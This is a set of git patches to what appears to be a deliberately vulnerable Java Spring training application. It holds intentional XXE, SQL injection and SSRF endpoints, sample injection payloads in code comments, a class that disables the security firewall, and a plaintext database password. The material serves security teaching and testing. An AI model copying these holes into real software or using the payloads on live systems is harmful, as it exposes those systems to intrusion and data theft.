xxeNode = xxe.item(j); // 测试不能blind xxe,所以强行加了一个回显 - System.out.println("xxeNode: " + xxeNode.getNodeValue()); + logger.info("xxeNode: " + xxeNode.getNodeValue()); } } sr.close(); - return "test"; + return "DocumentBuilder xinclude xxe vuln code"; } catch (Exception e) { - System.out.println(e); - return "except"; + logger.error(e.toString()); + return EXCEPT; } } - @RequestMapping(value = "/DocumentBuilder_xinclude_fix", method = RequestMethod.POST) - public String xxe_xinclude_DocumentBuilder_fix(HttpServletRequest request) { + @RequestMapping(value = "/DocumentBuilder/xinclude/sec", method = RequestMethod.POST) + public String DocumentBuilderXincludeSec(HttpServletRequest request) { try { - String xml_con = WebUtils.getRequestBody(request); - System.out.println(xml_con); + String body = WebUtils.getRequestBody(request); + logger.info(body); DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setXIncludeAware(true); // 支持XInclude @@ -353,7 +363,7 @@ public String xxe_xinclude_DocumentBuilder_fix(HttpServletRequest request) { dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); DocumentBuilder db = dbf.newDocumentBuilder(); - StringReader sr = new StringReader(xml_con); + StringReader sr = new StringReader(body); InputSource is = new InputSource(sr); Document document = db.parse(is); // parse xml @@ -365,59 +375,80 @@ public String xxe_xinclude_DocumentBuilder_fix(HttpServletRequest request) { for (int j = 0; j < xxe.getLength(); j++) { Node xxeNode = xxe.item(j); // 测试不能blind xxe,所以强行加了一个回显 - System.out.println("xxeNode: " + xxeNode.getNodeValue()); + logger.info("xxeNode: " + xxeNode.getNodeValue()); } } sr.close(); - return "test"; } catch (Exception e) { - System.out.println(e); - return "except"; + logger.error(e.toString()); + return EXCEPT; } + return "DocumentBuilder xinclude xxe vuln code"; } - @PostMapping("/XMLReader/vul") - public String XMLReaderVul(HttpServletRequest request) { + @PostMapping("/XMLReader/vuln") + public String XMLReaderVuln(HttpServletRequest request) { try { - String xml_con = WebUtils.getRequestBody(request); - System.out.println(xml_con); + String body = WebUtils.getRequestBody(request); + logger.info(body); + SAXParserFactory spf = SAXParserFactory.newInstance(); SAXParser saxParser = spf.newSAXParser(); XMLReader xmlReader = saxParser.getXMLReader(); - xmlReader.parse(new InputSource(new StringReader(xml_con))); - return "test"; + xmlReader.parse(new InputSource(new StringReader(body))); + } catch (Exception e) { - System.out.println(e.toString()); - return "except"; + logger.error(e.toString()); + return EXCEPT; } + + return "XMLReader xxe vuln code"; } - @PostMapping("/XMLReader/fixed") + @PostMapping("/XMLReader/sec") public String XMLReaderSec(HttpServletRequest request) { try { - String xml_con = WebUtils.getRequestBody(request); - System.out.println(xml_con); + String body = WebUtils.getRequestBody(request); + logger.info(body); + SAXParserFactory spf = SAXParserFactory.newInstance(); SAXParser saxParser = spf.newSAXParser(); XMLReader xmlReader = saxParser.getXMLReader(); xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); xmlReader.setFeature("http://xml.org/sax/features/external-general-entities", false); xmlReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false); - xmlReader.parse(new InputSource(new StringReader(xml_con))); - return "test"; + xmlReader.parse(new InputSource(new StringReader(body))); + } catch (Exception e) { - System.out.println(e.toString()); - return "except"; + logger.error(e.toString()); + return EXCEPT; } + return "XMLReader xxe security code"; } - public static void main(String[] args) throws Exception { + /** + * 修复该漏洞只需升级dom4j到2.1.1及以上,该版本及以上禁用了ENTITY; + * 不带ENTITY的PoC不能利用,所以禁用ENTITY即可完成修复。 + */ + @PostMapping("/DocumentHelper/vuln") + public String DocumentHelper(HttpServletRequest req) { + try{ + String body = WebUtils.getRequestBody(req); + DocumentHelper.parseText(body); // parse xml + } catch (Exception e) { + logger.error(e.toString()); + return EXCEPT; + } + return "DocumentHelper xxe vuln code"; + } + + public static void main(String[] args) throws Exception { } } \ No newline at end of file diff --git a/src/main/java/org/joychou/filter/JsonpFilter.java b/src/main/java/org/joychou/filter/JsonpFilter.java index 25a72898..5027caac 100644 --- a/src/main/java/org/joychou/filter/JsonpFilter.java +++ b/src/main/java/org/joychou/filter/JsonpFilter.java @@ -49,9 +49,9 @@ public void doFilter(ServletRequest req, ServletResponse res, FilterChain filter return ; } - // 校验jsonp逻辑,如果不安全,返回403页面 - if (SecurityUtil.checkURLbyEndsWith(refer, jsonpReferWhitelist) == null ){ - logger.info("[-] URL: " + url + "?" + query + "\t" + "Referer: " + refer); + // 校验jsonp逻辑,如果不安全,返回forbidden + if (SecurityUtil.checkUrlByGuava(refer, jsonpReferWhitelist) == null ){ + logger.error("[-] URL: " + url + "?" + query + "\t" + "Referer: " + refer); response.setStatus(HttpServletResponse.SC_FORBIDDEN); response.getWriter().write("forbidden"); response.flushBuffer(); diff --git a/src/main/java/org/joychou/security/LoginSuccessHandler.java b/src/main/java/org/joychou/security/LoginSuccessHandler.java index 75765b02..d588818b 100644 --- a/src/main/java/org/joychou/security/LoginSuccessHandler.java +++ b/src/main/java/org/joychou/security/LoginSuccessHandler.java @@ -6,7 +6,6 @@ import org.springframework.http.MediaType; import org.springframework.security.core.Authentication; import org.springframework.security.web.authentication.AuthenticationSuccessHandler; -import org.springframework.security.web.savedrequest.DefaultSavedRequest; import org.springframework.security.web.savedrequest.HttpSessionRequestCache; import org.springframework.security.web.savedrequest.SavedRequest; @@ -14,7 +13,6 @@ import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; -import java.net.URI; import java.util.HashMap; import java.util.Map; @@ -31,15 +29,22 @@ public void onAuthenticationSuccess(HttpServletRequest request, logger.info("USER " + authentication.getName()+ " LOGIN SUCCESS."); SavedRequest savedRequest = new HttpSessionRequestCache().getRequest(request, response); + String originUrl = ""; + try { + originUrl = savedRequest.getRedirectUrl(); + } catch (Exception e) { + logger.debug(e.toString()); + } + if (savedRequest != null) { - logger.info("Original url is: " + savedRequest.getRedirectUrl()); + logger.info("Original url is: " + originUrl); } Map content = new HashMap<>(); content.put("code", "0"); content.put("message", "Login success"); - - // google ajax and sendRedirect + content.put("redirectUrl", originUrl); + // 直接进行sendRedirect到登录前的url,会重定向失败。具体原因可google ajax and sendRedirect response.setContentType(MediaType.APPLICATION_JSON_VALUE); response.getWriter().write(JSON.toJSONString(content)); } diff --git a/src/main/java/org/joychou/security/SSRFChecker.java b/src/main/java/org/joychou/security/SSRFChecker.java index 6ecba2f2..08d9053a 100644 --- a/src/main/java/org/joychou/security/SSRFChecker.java +++ b/src/main/java/org/joychou/security/SSRFChecker.java @@ -5,11 +5,13 @@ import java.net.URI; import java.net.URL; import org.apache.commons.net.util.SubnetUtils; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; public class SSRFChecker { private static int connectTime = 5*1000; // 设置连接超时时间5s - + private static Logger logger = LoggerFactory.getLogger(SSRFChecker.class); /** * 解析url的ip,判断ip是否是内网ip,所以TTL设置为0的情况不适用。 * url只允许https或者http,并且设置默认连接超时时间。 @@ -27,6 +29,7 @@ public static Boolean checkSSRF(String url) { // 判断当前请求的URL是否是内网ip Boolean bRet = isInnerIPByUrl(finalUrl); if (bRet) { + logger.error("[-] SSRF check failed. Dangerous url: " + finalUrl); return false; // 内网ip直接return,非内网ip继续判断是否有重定向 } @@ -87,6 +90,7 @@ private static boolean isInnerIp(String strIP){ for (String subnet: blackSubnetlist) { SubnetUtils utils = new SubnetUtils(subnet); if (utils.getInfo().isInRange(strIP)) { + logger.error("[-] SSRF check failed. Inner Ip: " + strIP); return true; } } diff --git a/src/main/java/org/joychou/security/SecurityUtil.java b/src/main/java/org/joychou/security/SecurityUtil.java index 48573454..809ac544 100644 --- a/src/main/java/org/joychou/security/SecurityUtil.java +++ b/src/main/java/org/joychou/security/SecurityUtil.java @@ -1,5 +1,6 @@ package org.joychou.security; +import com.google.common.net.InternetDomainName; import org.slf4j.Logger; import org.slf4j.LoggerFactory; @@ -11,8 +12,9 @@ public class SecurityUtil { private static final Pattern FILTER_PATTERN = Pattern.compile("^[a-zA-Z0-9_/\\.-]+$") ; + private static Logger logger = LoggerFactory.getLogger(SecurityUtil.class); + - protected static Logger logger = LoggerFactory.getLogger(SecurityUtil.class); /** * 通过endsWith判断URL是否合法 * @@ -40,6 +42,44 @@ public static String checkURLbyEndsWith(String url, String[] urlwhitelist) { return null; } catch (Exception e) { + logger.error(e.toString()); + return null; + } + } + + /** + * 通过google guava判断URL是否合法。默认认为localhost合法 + * + * @param url 需要check的url + * @param urlwhitelist 根域名白名单 + * @return 安全url返回url,危险url返回null + */ + public static String checkUrlByGuava(String url, String[] urlwhitelist){ + final String localhost = "localhost"; + + if (null == url) { + return null; + } + + try { + URI u = new URI(url); + if (!url.startsWith("http://") && !url.startsWith("https://")) { + return null; + } + String host = u.getHost().toLowerCase(); + if (localhost.equals(host)) { + return url; + } + String rootDomain = InternetDomainName.from(host).topPrivateDomain().toString(); + + for (String whiteurl: urlwhitelist){ + if (rootDomain.equals(whiteurl)) { + return url; + } + } + return null; + } catch (Exception e) { + logger.error(e.toString()); return null; } } @@ -118,4 +158,5 @@ public static String cmdFilter(String input) { return input; } + } \ No newline at end of file diff --git a/src/main/resources/templates/login.html b/src/main/resources/templates/login.html index 1b069872..dc6ee40f 100644 --- a/src/main/resources/templates/login.html +++ b/src/main/resources/templates/login.html @@ -53,7 +53,11 @@ success: function (r) { if (r.code == "0") { // alert(r.message); - location.href = ctx + "index"; + if (r.redirectUrl == '') { + location.href = ctx + "index"; + } else { + location.href = r.redirectUrl; + } } else { alert(r.message); } From 0d9938584adbf0efd49273b1afc773f66cf73747 Mon Sep 17 00:00:00 2001 From: JoyChou Date: Wed, 25 Mar 2020 11:43:53 +0800 Subject: [PATCH 09/38] update mybatis sql injection --- pom.xml | 2 +- .../org/joychou/controller/FileUpload.java | 71 +++++++------- .../java/org/joychou/controller/SQLI.java | 92 +++++++++---------- .../java/org/joychou/controller/SSRF.java | 5 +- .../org/joychou/controller/URLWhiteList.java | 1 + src/main/java/org/joychou/dao/User.java | 2 - .../java/org/joychou/mapper/UserMapper.java | 5 +- .../DisableSpringSecurityFirewall.java | 27 ++++++ .../org/joychou/security/SecurityUtil.java | 46 ++++++++++ src/main/resources/application.properties | 2 + src/main/resources/mapper/UserMapper.xml | 9 +- src/main/resources/templates/index.html | 2 +- .../resources/templates/uploadStatus.html | 10 -- 13 files changed, 173 insertions(+), 101 deletions(-) create mode 100644 src/main/java/org/joychou/security/DisableSpringSecurityFirewall.java delete mode 100755 src/main/resources/templates/uploadStatus.html diff --git a/pom.xml b/pom.xml index 14dc18dc..11de6121 100644 --- a/pom.xml +++ b/pom.xml @@ -7,7 +7,7 @@ sec java-sec-code 1.0.0 - jar + war 1.8 diff --git a/src/main/java/org/joychou/controller/FileUpload.java b/src/main/java/org/joychou/controller/FileUpload.java index 77388816..d7297539 100644 --- a/src/main/java/org/joychou/controller/FileUpload.java +++ b/src/main/java/org/joychou/controller/FileUpload.java @@ -4,10 +4,7 @@ import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.stereotype.Controller; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.PostMapping; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.*; import org.springframework.web.multipart.MultipartFile; import org.springframework.web.servlet.mvc.support.RedirectAttributes; @@ -21,6 +18,8 @@ import java.nio.file.Paths; import java.util.UUID; +import org.joychou.security.SecurityUtil; + /** * @author JoyChou (joychou@joychou.org) @@ -35,6 +34,7 @@ public class FileUpload { // Save the uploaded file to this folder private static String UPLOADED_FOLDER = "/tmp/"; private final Logger logger= LoggerFactory.getLogger(this.getClass()); + private final String mimeChars = "/abcdefghijklmnopqrstuvwxyz-.0123456789"; @GetMapping("/") public String index() { @@ -73,14 +73,13 @@ public String singleFileUpload(@RequestParam("file") MultipartFile file, return "redirect:/file/status"; } + // only upload picture @PostMapping("/upload/picture") - public String uploadPicture(@RequestParam("file") MultipartFile multifile, - RedirectAttributes redirectAttributes) throws Exception{ + @ResponseBody + public String uploadPicture(@RequestParam("file") MultipartFile multifile) throws Exception{ if (multifile.isEmpty()) { - // 赋值给uploadStatus.html里的动态参数message - redirectAttributes.addFlashAttribute("message", "Please select a file to upload"); - return "redirect:/file/status"; + return "Please select a file to upload"; } String fileName = multifile.getOriginalFilename(); @@ -88,40 +87,48 @@ public String uploadPicture(@RequestParam("file") MultipartFile multifile, String mimeType = multifile.getContentType(); // 获取MIME类型 File excelFile = convert(multifile); - // 判断文件后缀名是否在白名单内 - String picSuffixList[] = {".jpg", ".png", ".jpeg", ".gif", ".bmp"}; // 后缀名白名单 - Boolean suffixFlag = false; + + // 判断文件后缀名是否在白名单内 校验1 + String picSuffixList[] = {".jpg", ".png", ".jpeg", ".gif", ".bmp", ".ico"}; + boolean suffixFlag = false; for (String white_suffix : picSuffixList) { if (Suffix.toLowerCase().equals(white_suffix)) { suffixFlag = true; break; } } - if (!suffixFlag) { logger.error("[-] Suffix error: " + Suffix); + deleteFile(excelFile); + return "Upload failed. Illeagl picture."; } - String mimeTypeBlackList[] = {"text/html"}; // 不允许传html - Boolean mimeBlackFlag = false; + // 判断MIME类型是否在黑名单内 校验2 + String mimeTypeBlackList[] = { + "text/html", + "text/javascript", + "application/javascript", + "application/ecmascript", + "text/xml", + "application/xml" + }; for (String blackMimeType : mimeTypeBlackList) { - if (mimeType.equalsIgnoreCase(blackMimeType) ) { - mimeBlackFlag = true; + // 用contains是为了防止text/html;charset=UTF-8绕过 + if (SecurityUtil.replaceSpecialStr(mimeType).toLowerCase().contains(blackMimeType) ) { logger.error("[-] Mime type error: " + mimeType); - break; + deleteFile(excelFile); + return "Upload failed. Illeagl picture."; } } + // 判断文件内容是否是图片 校验3 boolean isImageFlag = isImage(excelFile); - if( !isImageFlag ){ + if( !isImage(excelFile) ){ logger.error("[-] File is not Image"); - } - if ( !suffixFlag || mimeBlackFlag || !isImageFlag ) { - redirectAttributes.addFlashAttribute("message", "illeagl picture"); deleteFile(excelFile); - return "redirect:/file/status"; + return "Upload failed. Illeagl picture."; } @@ -130,24 +137,16 @@ public String uploadPicture(@RequestParam("file") MultipartFile multifile, byte[] bytes = multifile.getBytes(); Path path = Paths.get(UPLOADED_FOLDER + multifile.getOriginalFilename()); Files.write(path, bytes); - - redirectAttributes.addFlashAttribute("message", - "You successfully uploaded '" + UPLOADED_FOLDER + multifile.getOriginalFilename() + "'"); - } catch (IOException e) { - redirectAttributes.addFlashAttribute("message", "upload failed"); - e.printStackTrace(); + logger.error(e.toString()); deleteFile(excelFile); - return "redirect:/file/status"; + return "Upload failed"; } deleteFile(excelFile); - return "redirect:/file/status"; - } - - @GetMapping("/status") - public String uploadStatus() { - return "uploadStatus"; + logger.info("[+] Safe file. Suffix: {}, MIME: {}", Suffix, mimeType); + logger.info("[+] Successfully uploaded {}{}", UPLOADED_FOLDER, multifile.getOriginalFilename()); + return "Upload success"; } private void deleteFile(File... files) { diff --git a/src/main/java/org/joychou/controller/SQLI.java b/src/main/java/org/joychou/controller/SQLI.java index 9275593c..cf49a335 100644 --- a/src/main/java/org/joychou/controller/SQLI.java +++ b/src/main/java/org/joychou/controller/SQLI.java @@ -3,6 +3,9 @@ import org.joychou.mapper.UserMapper; import org.joychou.dao.User; +import org.joychou.security.SecurityUtil; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.beans.factory.annotation.Value; import org.springframework.web.bind.annotation.*; @@ -12,9 +15,8 @@ /** - * @author JoyChou (joychou@joychou.org) - * @date 2018.08.22 - * @desc SQL Injection + * SQL Injection + * @author JoyChou @2018.08.22 */ @SuppressWarnings("Duplicates") @@ -22,11 +24,15 @@ @RequestMapping("/sqli") public class SQLI { + private static Logger logger = LoggerFactory.getLogger(SQLI.class); private static String driver = "com.mysql.jdbc.Driver"; + @Value("${spring.datasource.url}") private String url; + @Value("${spring.datasource.username}") private String user; + @Value("${spring.datasource.password}") private String password; @@ -35,12 +41,12 @@ public class SQLI { /** - * Vul Code. + * Vuln Code. * http://localhost:8080/sqli/jdbc/vul?username=joychou * * @param username username */ - @RequestMapping("/jdbc/vul") + @RequestMapping("/jdbc/vuln") public String jdbc_sqli_vul(@RequestParam("username") String username){ String result = ""; try { @@ -50,37 +56,28 @@ public String jdbc_sqli_vul(@RequestParam("username") String username){ if(!con.isClosed()) System.out.println("Connecting to Database successfully."); - // sqli vuln code 漏洞代码 + // sqli vuln code Statement statement = con.createStatement(); String sql = "select * from users where username = '" + username + "'"; - System.out.println(sql); + logger.info(sql); ResultSet rs = statement.executeQuery(sql); - - System.out.println("-----------------"); - while(rs.next()){ String res_name = rs.getString("username"); String res_pwd = rs.getString("password"); result += res_name + ": " + res_pwd + "\n"; - System.out.println(res_name + ": " + res_pwd); - + logger.info(res_name + ": " + res_pwd); } rs.close(); con.close(); }catch (ClassNotFoundException e) { - System.out.println("Sorry,can`t find the Driver!"); - e.printStackTrace(); + logger.error("Sorry,can`t find the Driver!"); }catch (SQLException e) { - e.printStackTrace(); + logger.error(e.toString()); }catch (Exception e) { - e.printStackTrace(); - - }finally{ - System.out.println("-----------------"); - System.out.println("Connect database done."); + logger.error(e.toString()); } return result; } @@ -103,62 +100,60 @@ public String jdbc_sqli_sec(@RequestParam("username") String username){ if(!con.isClosed()) System.out.println("Connecting to Database successfully."); - // fix code String sql = "select * from users where username = ?"; PreparedStatement st = con.prepareStatement(sql); st.setString(1, username); - System.out.println(st.toString()); // sql after prepare statement + logger.info(st.toString()); // sql after prepare statement ResultSet rs = st.executeQuery(); - System.out.println("-----------------"); - while(rs.next()){ String res_name = rs.getString("username"); String res_pwd = rs.getString("password"); result += res_name + ": " + res_pwd + "\n"; - System.out.println(res_name + ": " + res_pwd); - + logger.info(res_name + ": " + res_pwd); } + rs.close(); con.close(); - }catch (ClassNotFoundException e) { - System.out.println("Sorry,can`t find the Driver!"); + logger.error("Sorry,can`t find the Driver!"); e.printStackTrace(); }catch (SQLException e) { - e.printStackTrace(); + logger.error(e.toString()); }catch (Exception e) { - e.printStackTrace(); - - }finally{ - System.out.println("-----------------"); - System.out.println("Connect database done."); + logger.error(e.toString()); } return result; } /** - * vul code - * http://localhost:8080/sqli/mybatis/vul01?username=joychou' or '1'='1 + * vuln code + * http://localhost:8080/sqli/mybatis/vuln01?username=joychou' or '1'='1 * * @param username username */ - @GetMapping("/mybatis/vul01") - public List mybatis_vul1(@RequestParam("username") String username) { - return userMapper.findByUserNameVul(username); + @GetMapping("/mybatis/vuln01") + public List mybatisVuln01(@RequestParam("username") String username) { + return userMapper.findByUserNameVuln01(username); } /** * vul code - * http://localhost:8080/sqli/mybatis/vul02?username=joychou' or '1'='1' %23 + * http://localhost:8080/sqli/mybatis/vuln02?username=joychou' or '1'='1' %23 * * @param username username */ - @GetMapping("/mybatis/vul02") - public List mybatis_vul2(@RequestParam("username") String username) { - return userMapper.findByUserNameVul2(username); + @GetMapping("/mybatis/vuln02") + public List mybatisVuln02(@RequestParam("username") String username) { + return userMapper.findByUserNameVuln02(username); + } + + // http://localhost:8080/sqli/mybatis/orderby/vuln03?sort=1 desc%23 + @GetMapping("/mybatis/orderby/vuln03") + public List mybatisVuln03(@RequestParam("sort") String sort) { + return userMapper.findByUserNameVuln03(sort); } @@ -169,7 +164,7 @@ public List mybatis_vul2(@RequestParam("username") String username) { * @param username username */ @GetMapping("/mybatis/sec01") - public User mybatis_sec1(@RequestParam("username") String username) { + public User mybatisSec01(@RequestParam("username") String username) { return userMapper.findByUserName(username); } @@ -180,7 +175,7 @@ public User mybatis_sec1(@RequestParam("username") String username) { * @param id id */ @GetMapping("/mybatis/sec02") - public User mybatis_sec2(@RequestParam("id") Integer id) { + public User mybatisSec02(@RequestParam("id") Integer id) { return userMapper.findById(id); } @@ -190,9 +185,14 @@ public User mybatis_sec2(@RequestParam("id") Integer id) { * http://localhost:8080/sqli/mybatis/sec03 **/ @GetMapping("/mybatis/sec03") - public User mybatis_sec3() { + public User mybatisSec03() { return userMapper.OrderByUsername(); } + @GetMapping("/mybatis/orderby/sec04") + public List mybatisOrderBySec04(@RequestParam("sort") String sort) { + return userMapper.findByUserNameVuln03(SecurityUtil.sqlFilter(sort)); + } + } diff --git a/src/main/java/org/joychou/controller/SSRF.java b/src/main/java/org/joychou/controller/SSRF.java index 657f25cf..901f8b70 100644 --- a/src/main/java/org/joychou/controller/SSRF.java +++ b/src/main/java/org/joychou/controller/SSRF.java @@ -195,9 +195,10 @@ public static String ssrf_HttpClient(@RequestParam String url) { /** - * Safe code. - * http://localhost:8080/ssrf/commonsHttpClient/sec?url=http://www.baidu.com + * https://mvnrepository.com/artifact/commons-httpclient/commons-httpclient + * UserAgent: Jakarta Commons-HttpClient/3.1 (2007.08 publish) * + * http://localhost:8080/ssrf/commonsHttpClient/sec?url=http://www.baidu.com */ @RequestMapping("/commonsHttpClient/sec") @ResponseBody diff --git a/src/main/java/org/joychou/controller/URLWhiteList.java b/src/main/java/org/joychou/controller/URLWhiteList.java index 159351cb..f4638524 100644 --- a/src/main/java/org/joychou/controller/URLWhiteList.java +++ b/src/main/java/org/joychou/controller/URLWhiteList.java @@ -212,4 +212,5 @@ public String sec_array_indexOf(@RequestParam("url") String url) throws Exceptio } return "Bad url."; } + } diff --git a/src/main/java/org/joychou/dao/User.java b/src/main/java/org/joychou/dao/User.java index b9bc8341..1336f571 100644 --- a/src/main/java/org/joychou/dao/User.java +++ b/src/main/java/org/joychou/dao/User.java @@ -15,7 +15,6 @@ public void setId(Integer id) { this.id = id; } - public String getUsername() { return username; } @@ -23,7 +22,6 @@ public void setUsername(String username) { this.username = username; } - public String getPassword() { return password; } diff --git a/src/main/java/org/joychou/mapper/UserMapper.java b/src/main/java/org/joychou/mapper/UserMapper.java index 962f465d..b88fb561 100644 --- a/src/main/java/org/joychou/mapper/UserMapper.java +++ b/src/main/java/org/joychou/mapper/UserMapper.java @@ -18,9 +18,10 @@ public interface UserMapper { User findByUserName(@Param("username") String username); @Select("select * from users where username = '${username}'") - List findByUserNameVul(@Param("username") String username); + List findByUserNameVuln01(@Param("username") String username); - List findByUserNameVul2(String username); + List findByUserNameVuln02(String username); + List findByUserNameVuln03(@Param("order") String order); User findById(Integer id); diff --git a/src/main/java/org/joychou/security/DisableSpringSecurityFirewall.java b/src/main/java/org/joychou/security/DisableSpringSecurityFirewall.java new file mode 100644 index 00000000..d7f12627 --- /dev/null +++ b/src/main/java/org/joychou/security/DisableSpringSecurityFirewall.java @@ -0,0 +1,27 @@ +package org.joychou.security; + +import org.springframework.security.web.firewall.FirewalledRequest; +import org.springframework.security.web.firewall.HttpFirewall; +import org.springframework.security.web.firewall.RequestRejectedException; +import org.springframework.stereotype.Component; + +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; + +@Component +public class DisableSpringSecurityFirewall implements HttpFirewall { + + @Override + public FirewalledRequest getFirewalledRequest(HttpServletRequest request) throws RequestRejectedException { + return new FirewalledRequest(request) { + @Override + public void reset() { + } + }; + } + + @Override + public HttpServletResponse getFirewalledResponse(HttpServletResponse response) { + return response; + } +} diff --git a/src/main/java/org/joychou/security/SecurityUtil.java b/src/main/java/org/joychou/security/SecurityUtil.java index 809ac544..812c905e 100644 --- a/src/main/java/org/joychou/security/SecurityUtil.java +++ b/src/main/java/org/joychou/security/SecurityUtil.java @@ -159,4 +159,50 @@ public static String cmdFilter(String input) { return input; } + + /** + * 过滤mybatis中order by不能用#的情况。 + * 严格限制用户输入只能包含a-zA-Z0-9_-.字符。 + * + * @param sql sql + * @return 安全sql,否则返回null + */ + public static String sqlFilter(String sql) { + if (!FILTER_PATTERN.matcher(sql).matches()) { + return null; + } + return sql; + } + + /** + * 将非0-9a-zA-Z/-.的字符替换为空 + * + * @param str 字符串 + * @return 被过滤的字符串 + */ + public static String replaceSpecialStr(String str) { + StringBuilder sb = new StringBuilder(); + str = str.toLowerCase(); + for(int i = 0; i < str.length(); i++) { + char ch = str.charAt(i); + // 如果是0-9 + if (ch >= 48 && ch <= 57 ){ + sb.append(ch); + } + // 如果是a-z + else if(ch >= 97 && ch <= 122) { + sb.append(ch); + } + else if(ch == '/' || ch == '.' || ch == '-'){ + sb.append(ch); + } + } + + return sb.toString(); + } + + public static void main(String[] args) { + System.out.print(replaceSpecialStr("text/ html&(&(asdf")); + } + } \ No newline at end of file diff --git a/src/main/resources/application.properties b/src/main/resources/application.properties index 9135b5db..c6b2a184 100644 --- a/src/main/resources/application.properties +++ b/src/main/resources/application.properties @@ -4,6 +4,8 @@ spring.datasource.username=root spring.datasource.password=woshishujukumima spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver mybatis.mapper-locations=classpath:mapper/*.xml +# mybatis SQL log +logging.level.org.joychou.mapper=debug # Spring Boot Actuator Vulnerable Config management.security.enabled=false diff --git a/src/main/resources/mapper/UserMapper.xml b/src/main/resources/mapper/UserMapper.xml index df4344e6..e6894071 100644 --- a/src/main/resources/mapper/UserMapper.xml +++ b/src/main/resources/mapper/UserMapper.xml @@ -13,10 +13,17 @@ - select * from users where username like '%${_parameter}%' + + diff --git a/src/main/resources/templates/index.html b/src/main/resources/templates/index.html index 64737751..de32f6ee 100644 --- a/src/main/resources/templates/index.html +++ b/src/main/resources/templates/index.html @@ -13,7 +13,7 @@ FileUpload   Cors   PathTraversal   - SqlInject   + SqlInject   SSRF   RCE   ooxml XXE   diff --git a/src/main/resources/templates/uploadStatus.html b/src/main/resources/templates/uploadStatus.html deleted file mode 100755 index f39fa45c..00000000 --- a/src/main/resources/templates/uploadStatus.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - -

-

-

- - - \ No newline at end of file From db6bff2fc2d87b53ab1821cd88bd807e19aeba25 Mon Sep 17 00:00:00 2001 From: JoyChou Date: Thu, 26 Mar 2020 10:28:11 +0800 Subject: [PATCH 10/38] Bug fix.The method of fix ssrf can cause dos. --- .../java/org/joychou/controller/SSRF.java | 50 +++++++++---------- src/main/java/org/joychou/controller/XSS.java | 20 ++------ .../org/joychou/security/SSRFChecker.java | 17 +++++-- .../org/joychou/security/SecurityUtil.java | 9 ++-- .../joychou/security/WebSecurityConfig.java | 7 +-- 5 files changed, 47 insertions(+), 56 deletions(-) diff --git a/src/main/java/org/joychou/controller/SSRF.java b/src/main/java/org/joychou/controller/SSRF.java index 901f8b70..ec6dfc54 100644 --- a/src/main/java/org/joychou/controller/SSRF.java +++ b/src/main/java/org/joychou/controller/SSRF.java @@ -23,16 +23,15 @@ import javax.imageio.ImageIO; -import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.*; import java.net.*; /** - * @author JoyChou (joychou@joychou.org) - * @date 2017.12.28 - * @desc Java ssrf vuls code. + * Java SSRF vuln or security code. + * + * @author JoyChou @2017-12-28 */ @RestController @@ -42,15 +41,14 @@ public class SSRF { private static Logger logger = LoggerFactory.getLogger(SSRF.class); @RequestMapping("/urlConnection") - public static String ssrf_URLConnection(HttpServletRequest request) + public static String ssrf_URLConnection(@RequestParam String url) { try { - String url = request.getParameter("url"); URL u = new URL(url); URLConnection urlConnection = u.openConnection(); BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream())); //send request String inputLine; - StringBuffer html = new StringBuffer(); + StringBuilder html = new StringBuilder(); while ((inputLine = in.readLine()) != null) { html.append(inputLine); @@ -58,7 +56,7 @@ public static String ssrf_URLConnection(HttpServletRequest request) in.close(); return html.toString(); }catch(Exception e) { - e.printStackTrace(); + logger.error(e.toString()); return "fail"; } } @@ -66,16 +64,15 @@ public static String ssrf_URLConnection(HttpServletRequest request) @RequestMapping("/HttpURLConnection") @ResponseBody - public static String ssrf_httpURLConnection(HttpServletRequest request) + public static String ssrf_httpURLConnection(@RequestParam String url) { try { - String url = request.getParameter("url"); URL u = new URL(url); URLConnection urlConnection = u.openConnection(); HttpURLConnection httpUrl = (HttpURLConnection)urlConnection; BufferedReader in = new BufferedReader(new InputStreamReader(httpUrl.getInputStream())); //send request String inputLine; - StringBuffer html = new StringBuffer(); + StringBuilder html = new StringBuilder(); while ((inputLine = in.readLine()) != null) { html.append(inputLine); @@ -83,7 +80,7 @@ public static String ssrf_httpURLConnection(HttpServletRequest request) in.close(); return html.toString(); }catch(Exception e) { - e.printStackTrace(); + logger.error(e.toString()); return "fail"; } } @@ -91,13 +88,12 @@ public static String ssrf_httpURLConnection(HttpServletRequest request) @RequestMapping("/Request") @ResponseBody - public static String ssrf_Request(HttpServletRequest request) + public static String ssrf_Request(@RequestParam String url) { try { - String url = request.getParameter("url"); return Request.Get(url).execute().returnContent().toString(); }catch(Exception e) { - e.printStackTrace(); + logger.error(e.toString()); return "fail"; } } @@ -113,10 +109,9 @@ public static String ssrf_Request(HttpServletRequest request) */ @RequestMapping("/openStream") @ResponseBody - public static void ssrf_openStream (HttpServletRequest request, HttpServletResponse response) throws IOException { + public static void ssrf_openStream (@RequestParam String url, HttpServletResponse response) throws IOException { InputStream inputStream = null; OutputStream outputStream = null; - String url = request.getParameter("url"); try { String downLoadImgFileName = Files.getNameWithoutExtension(url) + "." + Files.getFileExtension(url); // download @@ -132,7 +127,7 @@ public static void ssrf_openStream (HttpServletRequest request, HttpServletRespo } }catch (Exception e) { - e.printStackTrace(); + logger.error(e.toString()); }finally { if (inputStream != null) { inputStream.close(); @@ -147,20 +142,19 @@ public static void ssrf_openStream (HttpServletRequest request, HttpServletRespo @RequestMapping("/ImageIO") @ResponseBody - public static void ssrf_ImageIO(HttpServletRequest request) { - String url = request.getParameter("url"); + public static void ssrf_ImageIO(@RequestParam String url) { try { URL u = new URL(url); ImageIO.read(u); // send request } 